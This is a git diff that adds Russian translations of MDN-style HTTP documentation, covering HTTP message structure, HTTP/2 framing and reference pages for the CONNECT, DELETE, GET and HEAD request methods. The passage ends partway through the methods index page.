+ <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP-сообщения (HTTP Messages)</a></dt>
+ <dd>Описывает тип и структуру разных видов сообщений HTTP/1.x и HTTP/2.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Session">Обычный сеанс HTTP</a></dt>
+ <dd>Показывает и описывает течение обычного сеанса HTTP.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Управление подключениями в HTTP/1.x</a></dt>
+ <dd>Описывает три модели управления подключениями, доступными в HTTP/1.x, их сильные и слабые стороны.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Controlling_DNS_prefetching">Контроль предварительной загрузки DNS (Controlling DNS prefetching)</a></dt>
+ <dd>Firefox, как и большинство других браузеров, выполняет <strong>предварительную загрузку DNS (DNS prefetching)</strong>. Это действие, когда браузеры превентивно выполняют разрешение доменных имён (получают имена доменов) для ссылок, по которым пользователь может перейти, а также для ссылок на ресурсы, такие как картинки, CSS,  JavaScript. Эта предварительная загрузка выполняется в фоновом режиме, так что вполне вероятно, что к моменту обращения к объектам в документе DNS уже получен. Это уменьшает задержки, когда, например, пользователь кликает на ссылку.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Справочники">Справочники</h2>
+
+<p>Глубже изучите HTTP с помощью справочников и документации.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP-заголовки (HTTP Headers)</a></dt>
+ <dd>Заголовки HTTP-сообщения используются для точного описания загружаемого ресурса или поведения сервера или клиента. Пользовательские заголовки можно добавить, используя <code>X-</code> префикс; другие перечислены в  <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html" title="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, содержание которого в свою очередь определено в <a class="external" href="http://tools.ietf.org/html/rfc4229" title="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA так же поддерживает <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html" title="http://www.iana.org/assignments/message-headers/prov-headers.html">регистр предложенных новых HTTP-заголовков</a>.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Methods">Методы HTTP-запроса</a></dt>
+ <dd>Различные операции, которые выполняются с HTTP:
+ <ul>
+  <li>{{HTTPMethod("GET")}}</li>
+  <li>{{HTTPMethod("POST")}}</li>
+  <li>{{HTTPMethod("OPTIONS")}}</li>
+  <li>{{HTTPMethod("DELETE")}}</li>
+  <li>{{HTTPMethod("TRACE")}}</li>
+  <li>{{HTTPMethod("PATCH")}}</li>
+  <li>другие</li>
+ </ul>
+ <span style="display: none;"> </span><span style="display: none;"> </span></dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Status">Коды ответа (HTTP response codes)</a></dt>
+ <dd>Коды ответа HTTP указывают на результат выполнения определенного HTTP-запроса. Ответы сгруппированы в пять категорий: информационные ответы, удачные ответы, перенаправления, ошибки клиента и ошибки сервера.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Директивы CSP</a></dt>
+ <dd>Поля заголовка ответа {{HTTPHeader("Content-Security-Policy")}} позволяют администраторам веб-сайтов контролировать ресурсы, которые браузер пользователя может загрузить на данную веб-страницу. За некоторым исключением, эти политики связаны с указанием сервера-источника и адресов доступа (обращения) скриптов.</dd>
+</dl>
+
+<h2 id="Инструменты_и_ресурсы">Инструменты и ресурсы</h2>
+
+<p>Полезные инструменты и ресурсы для понимания и отладки HTTP.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Tools">Инструменты разработчика Firefox</a></dt>
+ <dd><a href="/ru/docs/Tools/Network_Monitor">Сетевой монитор</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>Проект, созданный в помощь разработчикам, системным администраторам и специалистам по безопасности для создания безопасных и надёжных сайтов.</dd>
+ <dt><a href="https://redbot.org/">RedBot</a></dt>
+ <dd>Инструмент для проверки кэширования заголовков.</dd>
+ <dt><a href="http://www.html5rocks.com/ru/tutorials/internals/howbrowserswork/">Принципы работы современных веб-браузеров</a></dt>
+ <dd>Комплексная статья по внутренностям браузеров и потоку запросов через протокол HTTP. Это нужно понимать всем веб-разработчикам.</dd>
+</dl>
+</div>
+</div>
+
+<h2 class="Community" id="Community" name="Community">См. также</h2>
+
+<ul>
+ <li><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></li>
+ <li><a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">HTTP pipelining FAQ</a></li>
+ <li><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li>
+ <li><a href="/en-US/docs/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP заголовки</a></li>
+ <li><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Basic access authentication</a></li>
+ <li><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/HTTP"} ) }}</p>
diff --git a/files/ru/web/http/messages/index.html b/files/ru/web/http/messages/index.html
new file mode 100644
index 0000000000..0aa51b52a1
--- /dev/null
+++ b/files/ru/web/http/messages/index.html
@@ -0,0 +1,147 @@
+---
+title: Сообщения HTTP
+slug: Web/HTTP/Messages
+tags:
+  - HTTP
+  - ВебМеханика
+  - Руководство
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP сообщения - это обмен данными между сервером и клиентом. Есть два типа сообщений: <em><strong>запросы</strong></em>, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера, и <em><strong>ответы </strong></em>от сервера.</p>
+
+<p>Сообщения HTTP состоят из текстовой информации в кодировке ASCII, записанной в несколько строк. В HTTP/1.1 и более ранних версиях они пересылались в качестве обычного текста. В HTTP/2 текстовое сообщение разделяется на фреймы, что позволяет выполнить оптимизацию и повысить производительность.</p>
+
+<p>Веб разработчики  не создают текстовые сообщения HTTP самостоятельно - это делает программа, браузер, прокси или веб-сервер. Они обеспечивают создание HTTP сообщений через конфигурационные файлы (для прокси и серверов), APIs (для браузеров) или другие интерфейсы.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>Механизм бинарного фрагментирования в HTTP/2 разработан так, чтобы не потребовалось вносить изменения в имеющиеся APIs и конфигурационные файлы: он вполне прозрачен для пользователя.</p>
+
+<p>HTTP запросы и ответы имеют близкую структуру. Они состоят из:</p>
+
+<ol>
+ <li>Стартовой строки, описывающей запрос, или статус (успех или сбой). Это всегда одна строка.</li>
+ <li>Произвольного набора <em>HTTP заголовков,</em> определяющих запрос или описывающих тело сообщения.</li>
+ <li>Пустой строки, указывающей, что вся мета информация отправлена.</li>
+ <li>Произвольного тела, содержащего пересылаемые с запросом данные (например, содержимое HTML-формы ) или отправляемый в ответ документ. Наличие тела и его размер определяется стартовой строкой и заголовками HTTP.</li>
+</ol>
+
+<p>Стартовую строку вместе с заголовками сообщения HTTP называют <em>головой</em> запроса, а его данные - <em>телом</em>.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="Запросы_HTTP">Запросы HTTP</h2>
+
+<h3 id="Стартовая_строка">Стартовая строка</h3>
+
+<p>HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трех элементов:</p>
+
+<ol>
+ <li>
+  <p><em><a href="/ru/docs/Web/HTTP/Methods">Метод HTTP</a></em>, глагол (например, {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}}) или существительное (например,  {{HTTPMethod("HEAD")}} или {{HTTPMethod("OPTIONS")}}), описывающие требуемое действие. Например, <code>GET</code> указывает, что нужно доставить некоторый ресурс, а <code>POST</code> означает отправку данных на сервер (для создания или модификации ресурса, или генерации возвращаемого документа).</p>
+ </li>
+ <li><em>Цель запроса</em>, обычно {{glossary("URL")}}, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть
+  <ul>
+   <li>Абсолютный путь, за которым следует <code>'?'</code> и строка запроса. Это самая распространенная форма, называемая <em>исходной формой</em> (<em>origin form</em>) . Используется с методами <code>GET</code>, <code>POST</code>, <code>HEAD</code>, и <code>OPTIONS</code>.<br>
+    <code>POST / HTTP 1.1<br>
+    GET /background.png HTTP/1.0<br>
+    HEAD /test.html?query=alibaba HTTP/1.1<br>
+    OPTIONS /anypage.html HTTP/1.0</code></li>
+   <li>Полный URL<em> - абсолютная форма</em> (<em>absolute form</em>) , обычно используется с <code>GET</code> при подключении к прокси.<br>
+    <code>GET http://developer.mozilla.org/ru/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+   <li>Компонента URL "authority", состоящая из имени домена и (необязательно) порта (предваряемого символом <code>':'</code>), <em>называется authority form</em>. Используется только с методом <code>CONNECT</code> при установке туннеля HTTP.<br>
+    <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+   <li>Форма звездочки (<em>asterisk form)</em>, просто "звездочка" (<code>'*'</code>) используется <code>с методом OPTIONS</code> и представляет сервер.<br>
+    <code>OPTIONS * HTTP/1.1</code></li>
+  </ul>
+ </li>
+ <li><em>Версия HTTP</em>, определяющая структуру оставшегося сообщения, указывая, какую версию предполагается использовать для ответа.</li>
+</ol>
+
+<h3 id="Заголовки">Заголовки</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Headers">Заголовки запроса HTTP</a> имеют стандартную для заголовка HTTP структуру: не зависящая от регистра строка, завершаемая (<code>':'</code>) и значение, структура которого определяется заголовком. Весь заголовок, включая значение, представляет собой одну строку, которая может быть довольно длинной.</p>
+
+<p>Существует множество заголовков запроса. Их можно разделить на несколько групп:</p>
+
+<ul>
+ <li><em>Основные заголовки (General headers</em>), например, {{HTTPHeader("Via")}},  относящиеся к сообщению в целом</li>
+ <li><em>Заголовки запроса (Request headers</em>), например, {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, уточняющие запрос (как, например, {{HTTPHeader("Accept-Language")}}), придающие контекст (как {{HTTPHeader("Referer")}}), или накладывающие ограничения на условия (like {{HTTPHeader("If-None")}}).</li>
+ <li><em>Заголовки сущности</em>, например {{HTTPHeader("Content-Length")}}, относящиеся к телу сообщения. Как легко понять, они отсутствуют, если у запроса нет тела.</li>
+ <li><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></li>
+</ul>
+
+
+
+<h3 id="Тело">Тело</h3>
+
+<p>Последней частью запроса является его тело. Оно бывает не у всех запросов: запросы, собирающие (fetching) ресурсы, такие как <code>GET</code>, <code>HEAD</code>, <code>DELETE</code>, или <code>OPTIONS</code>, в нем обычно не нуждаются. Но некоторые запросы отправляют на сервер данные для обновления, как это часто бывает с запросами <code>POST</code> (содержащими данные HTML-форм).</p>
+
+<p>Тела можно грубо разделить на две категории:</p>
+
+<ul>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из одного отдельного файла, определяемого двумя заголовками: {{HTTPHeader("Content-Type")}} и {{HTTPHeader("Content-Length")}}.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Многоресурсные тела (Multiple-resource bodies</a>), состоящие из множества частей, каждая из которых содержит свой бит информации. Они обычно связаны с <a href="/ru/docs/Web/Guide/HTML/Forms">HTML-формами </a>.</li>
+</ul>
+
+<h2 id="Ответы_HTTP">Ответы HTTP</h2>
+
+<h3 id="Строка_статуса_Status_line">Строка статуса (Status line)</h3>
+
+<p>Стартовая строка ответа HTTP, называемая строкой статуса, содержит следующую информацию:</p>
+
+<ol>
+ <li><em>Версию протокола</em>, <code>обычно HTTP/1.1</code>.</li>
+ <li><em>Код состояния (status code)</em>, показывающая, был ли запрос успешным. Примеры: {{HTTPStatus("200")}}, {{HTTPStatus("404")}} или {{HTTPStatus("302")}}</li>
+ <li><em>Пояснение (status text</em>). Краткое текстовое описание кода состояния, помогающее пользователю понять сообщение HTTP..</li>
+</ol>
+
+<p>Пример строки статуса: <code>HTTP/1.1 404 Not Found.</code></p>
+
+<h3 id="Заголовки_2">Заголовки</h3>
+
+<p><a href="/ru/docs/Web/HTTP/Headers">Заголовки ответов HTTP</a> имеют ту же структуру, что и все остальные заголовки: не зависящая от регистра строка, завершаемая двоеточием (<code>':'</code>) и значение, структура которого определяется типом заголовка. Весь заголовок, включая значение, представляет собой одну строку.</p>
+
+<p>Существует множество заголовков ответов. Их можно разделить на несколько групп:</p>
+
+<ul>
+ <li><em>Основные заголовки (General headers</em>), например, {{HTTPHeader("Via")}},  относящиеся к сообщению в целом.</li>
+ <li><em>Заголовки ответа (Response headers</em>), например, {{HTTPHeader("Vary")}} и {{HTTPHeader("Accept-Ranges")}}, сообщающие дополнительную информацию о сервере, которая не уместилась в строку состояния.</li>
+ <li><em>Заголовки сущности (Entity headers</em>), например, {{HTTPHeader("Content-Length")}}, относящиеся к телу ответа. Отсутствуют, если у запроса нет тела.</li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="Тело_2">Тело</h3>
+
+<p>Последней частью ответа является его тело. Оно есть не у всех ответов: у ответов с кодом состояния, например, {{HTTPStatus("201")}} или {{HTTPStatus("204")}}, оно обычно отсутствует.</p>
+
+<p>Тела можно разделить на три категории:</p>
+
+<ul>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла известной длины, определяемые двумя заголовками: {{HTTPHeader("Content-Type")}} и {{HTTPHeader("Content-Length")}}.</li>
+ <li>Одноресурсные тела (Single-resource bodies), состоящие из отдельного файла неизвестной длины, разбитого на небольшие части (chunks) с заголовком {{HTTPHeader("Transfer-Encoding")}}, значением которого  является <code>chunked</code>.</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Многоресурсные тела (Multiple-resource bodies)</a>, состоящие из многокомпонентного тела, каждая часть которого содержит свой сегмент информации. Они относительно редки.</li>
+</ul>
+
+<h2 id="Фреймы_HTTP2">Фреймы HTTP/2</h2>
+
+<p>Сообщения HTTP/1.x имеют несколько недостатков в отношении производительности:</p>
+
+<ul>
+ <li>Заголовки, в отличие от тел, не сжимаются.</li>
+ <li>Заголовки, которые зачастую практически совпадают у идущих подряд сообщений, приходится передавать по отдельности.</li>
+ <li>Мультиплекстность невозможна. Приходится открывать соединение для каждого сообщения, а теплые (warm) соединеня TCP эффективнее холодных (cold).</li>
+</ul>
+
+<p>HTTP/2 переходит на новый уровень: он делит сообщения HTTP/1.x на фреймы, которые внедряются в поток. Фреймы данных из заголовков отделены друг от друга, что позволяет сжимать заголовки. Несколько потоков можно объединять друг с другом - такой процесс называется мультиплексированием - что позволяет более эффективно использовать TCP-соединения.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
+<p>Фреймы HTTP сейчас прозрачны для веб-разработчиков. Это дополнительный шаг, который HTTP/2 делает по отношению к сообщениям HTTP/1.1 и лежащему в основе транспортному протоколу. Для реализации фреймов HTTP веб-разработчикам не требуется вносить изменения в имеющиеся APIs; если HTTP/2 доступен и на сервере, и на клиенте, он включается и используется.</p>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Сообщения HTTP играют ключевую роль в использовании HTTP; они имеют простую структуру и хорошо расширяемы. Механизм фреймов в HTTP/2 добавляет еще один промежуточный уровень между синтаксисом HTTP/1.x и используемым им транспортным протоколом, не проводя фундаментальных изменений: создается надстройка над уже зарекомендовавшими себя методами.</p>
diff --git a/files/ru/web/http/methods/connect/index.html b/files/ru/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..755ffb6f10
--- /dev/null
+++ b/files/ru/web/http/methods/connect/index.html
@@ -0,0 +1,82 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>CONNECT</code> method</strong> <span id="result_box" lang="ru"><span>запускает двустороннюю связь с запрошенным ресурсом.</span> <span>Метод можно использовать для открытия туннеля</span></span>.</p>
+
+<p>К примеру, метод CONNECT может использоваться для доступа к сайту, который использует {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). Клиент <span id="result_box" lang="ru"><span>запрашивает HTTP-прокси-сервер для туннелирования TCP-соединения с желаемым назначением</span></span>. За тем сервер <span id="result_box" lang="ru"><span>переходит к подключению от имени клиента.</span> <span>После того, как соединение установлено сервером, прокси-сервер продолжает проксировать поток TCP к клиенту и от него.</span></span></p>
+
+<p><code>CONNECT</code> is a hop-by-hop method.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Идемпотентный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Некоторые прокси сервера могут запросить авторизацию для создания туннеля. Смотрите так же {{HTTPHeader("Proxy-Authorization")}}.</p>
+
+<pre class="line-numbers  language-html notranslate">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером"><span class="short_text" id="result_box" lang="ru"><span>Совместимость с браузером</span></span></h2>
+
+<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span> <span>Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</span></span></p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/delete/index.html b/files/ru/web/http/methods/delete/index.html
new file mode 100644
index 0000000000..e263d3c2e0
--- /dev/null
+++ b/files/ru/web/http/methods/delete/index.html
@@ -0,0 +1,101 @@
+---
+title: DELETE
+slug: Web/HTTP/Methods/DELETE
+tags:
+  - HTTP
+  - HTTP методы
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/DELETE
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Метод запроса HTTP DELETE</strong> удаляет указанный ресурс.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Может</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Может</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe","Безопасный")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent","Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable","Кэшируемый")}}</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">DELETE /file.html HTTP/1.1
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Запрос">Запрос</h3>
+
+<pre>DELETE /file.html HTTP/1.1</pre>
+
+<h3 id="Ответ">Ответ</h3>
+
+<p>Если метод <code>DELETE</code> успешно выполняется, то возможны следующие коды состояния ответа:</p>
+
+<ul>
+ <li> {{HTTPStatus("202")}} (<code>Accepted</code>) код состояния, если удаление будет успешным, но еще не выполнено.</li>
+ <li> {{HTTPStatus("204")}} (<code>No Content</code>) код ответа, если удаление было выполнено, но тело ответа отсутствует.</li>
+ <li> {{HTTPStatus("200")}} (<code>OK</code>) код ответа, если удаление было выполнено, и ответ содержит код и объект описывающий состояние.</li>
+</ul>
+
+<pre>HTTP/1.1 200 OK
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+
+&lt;html&gt;
+  &lt;body&gt;
+    &lt;h1&gt;File deleted.&lt;/h1&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7231", "DELETE", "4.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.DELETE")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/get/index.html b/files/ru/web/http/methods/get/index.html
new file mode 100644
index 0000000000..e2601b1361
--- /dev/null
+++ b/files/ru/web/http/methods/get/index.html
@@ -0,0 +1,75 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+tags:
+  - HTTP
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>GET</code></strong> запрашивает представление указанного ресурса. <code>GET</code>-запросы должны только получать данные.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/%D0%97%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%B8">HTTP Заголовки</a></li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li><a href="/ru/docs/Web/HTTP/Methods/POST">POST</a></li>
+</ul>
diff --git a/files/ru/web/http/methods/head/index.html b/files/ru/web/http/methods/head/index.html
new file mode 100644
index 0000000000..13bfe278a6
--- /dev/null
+++ b/files/ru/web/http/methods/head/index.html
@@ -0,0 +1,77 @@
+---
+title: HEAD
+slug: Web/HTTP/Methods/HEAD
+tags:
+  - HTTP
+  - Метод запроса
+  - Справка
+translation_of: Web/HTTP/Methods/HEAD
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP-метод <code>HEAD</code></strong> запрашивает заголовки, идентичные тем, что возвращаются, если указанный ресурс будет запрошен с помощью HTTP-метода {{HTTPMethod("GET")}}. Такой запрос может быть выполнен перед загрузкой большого ресурса, например, для экономии пропускной способности.</p>
+
+<p>Ответ на метод <code>HEAD</code> не должен содержать тело. Если это не так, то его следует игнорировать. Но даже в этом случае {{glossary("Entity header", "заголовки сущности")}}, описывающие содержимое тела, например {{HTTPHeader("Content-Length")}}, должны быть включены в ответ. Они не относятся к телу ответа на запрос <code>HEAD</code>, которое должно быть пустым, они относятся к телу ответа, полученный на аналогичный запрос с помощью метода {{HTTPMethod("GET")}}.</p>
+
+<p>Если результат запроса <code>HEAD</code> показывает, что кешированный после запроса {{HTTPMethod("GET")}} ресурс устарел, то кеш становится недействительным, даже если запрос <code>GET</code> не был сделан.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Запрос имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Успешный ответ имеет тело</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "Безопасный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "Идемпотентный")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "Кэшируемый")}}</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Допускается в <a href="/ru/docs/Learn/HTML/Forms">HTML-формах</a></th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">HEAD /index.html
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "HEAD", "4.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.HEAD")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPMethod("GET")}}</li>
+</ul>
diff --git a/files/ru/web/http/methods/index.html b/files/ru/web/http/methods/index.html
new file mode 100644
index 0000000000..67369bdad6
--- /dev/null
+++ b/files/ru/web/http/methods/index.html
@@ -0,0 +1,73 @@
+---
+title: Методы HTTP запроса
+slug: Web/HTTP/Methods
+tags:
+  - HTTP
+  - Methods
+  - Reference
+translation_of: Web/HTTP/Methods
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>HTTP определяет множество <strong>методов запроса</strong>, которые указывают, какое желаемое действие выполнится для данного ресурса. Несмотря на то, что их названия могут быть существительными, эти методы запроса иногда называются <em>HTTP глаголами</em>. Каждый реализует свою семантику, но каждая группа команд разделяет общие свойства: так, методы могут быть {{glossary("safe", "безопасными")}}, {{glossary("idempotent", "идемпотентными")}} или {{glossary("cacheable", "кэшируемыми")}}.</p>
+
+<dl>
+ <dt><code><a href="/ru/docs/Web/HTTP/Methods/GET">GET</a></code></dt>
+ <dd>Метод <code>GET</code> запрашивает представление ресурса. Запросы с использованием этого метода могут только извлекать данные.</dd>
